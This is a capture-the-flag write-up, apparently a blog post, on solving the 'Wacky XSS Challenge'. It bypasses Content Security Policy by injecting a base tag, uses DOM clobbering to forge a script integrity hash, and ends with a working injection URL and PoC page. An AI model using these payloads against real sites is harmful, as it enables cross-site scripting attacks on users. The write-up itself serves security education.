In this writeup, I am going to explain my approach towards solving the Wacky XSS Challenge. The challenge is primarily about bypassing Content Security Policy (CSP) and DOM Clobbering due to insecure coding practice.
- You must
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
Here’s how the challenge page looks like:
Make Whacky! button, I noticed a GET request being made to
/frame.html page along with a query parameter called
Noticing the reflection of text on the page, I tried supplying the h1 tag to see how it is getting rendered in the response.
The h1 tag was not rendering as an HTML element, although it was getting included in the response without any modification or encoding and that’s because I was not following the proper HTML semantics.
Upon including the closed
title tag before h1, I could see that the h1 tag is rendered as an HTML element. However, it was still not displaying on the page due to it being included inside the
head tag and not
Since one can define the scripts and other meta-information inside the
Content-Security-Policy: script-src 'nonce-r@nd0m' 'strict-dynamic'; frame-src 'self'; object-src 'none';
Let’s try to examine it with the help of Google’s CSP evaluator.
The application was generating a random
script tags. However, it was possible to include
base tags and load relatively imported scripts through a third-party domain.
Upon looking into the page source, I noticed a JS file called
frame-analytics.js being imported relatively but that block of code was not getting executed because
window.name is not equals to
Is there a way to control
Yes, you can create an HTML page with an anchor tag and set its
target attribute to
iframe or else you can add a
base tag and set its
target attribute value as
iframe, it will automatically set the default
target attribute value for all
anchor tags on the page.
Now that we are able to control the code flow, let’s try to load
frame-analytics.js file from an arbitrary domain (for example:
hackerone.com) by including a
base tag with
href value as
The next task was to host a file called
frame-analytics.js on the same path
/files/analytics/js/ using a website that we can control.
Let’s try to exploit it using
It again failed to execute because the browser couldn’t find a valid digest in the
integrity attribute for resource
https://gauravmishra.co.in/files/analytics/js/frame-analytics.js with computed SHA-256
fileIntegrity object and its attributes (including
Taking help from the Gareth Heyes research article on DOM Clobbering, I was able to control the
integrity attribute value. Here is the technique I referred to:
Injected the following HTML code to control
<form><output hidden id=fileIntegrity>3ZbQn3cmhPcHyOq0jZelWqoZGQdBdhSIoBWzDdFJFt4=</output>
https://wacky.buggywebsite.com/frame.html?param=Hello, World!</title><base href="//gauravmishra.co.in/"><form><output hidden id=fileIntegrity>3ZbQn3cmhPcHyOq0jZelWqoZGQdBdhSIoBWzDdFJFt4=</output>
Let’s try to execute it now:
Still no alert pop-up :-(
The analytics iframe was sandboxed and it didn’t include
allow-modals in the
sandbox attribute value. Therefore, the browser stopped the execution of
Is there a way to control
sandbox attribute (in this case)?
Though it was not possible to execute the
alert function in the
iframe context but it was possible to do so in the parent window’s context using
Let’s update the
frame-analytics.js code and execute!
integrity hash value has changed, we need to update it again.
And there you go !!
Here is the final exploit code:
<title>Wacky Challenge | PoC</title>
<h2>Wacky Challenge | PoC</h2>
<a href="https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!%3c/title%3e%3cbase%20href%3d%22//gauravmishra.co.in/%22%3e%3cform%3e%3coutput%20hidden%20id%3dfileIntegrity%3eOySJfBgG0Rq4nF06fzkdI7dOrt%2fNjbyrIS0EiEnSV7U%3d%3c/output%3e">here</a> to solve the challenge :-)<br><br>Happy Hacking!!!<br>~ Gaurav
I have published a PoC on BugPoC Frontend Wizard. Here is the PoC link and password:
For any feedback or CTF invitation, please reach out to me on Twitter.
Thanks for reading!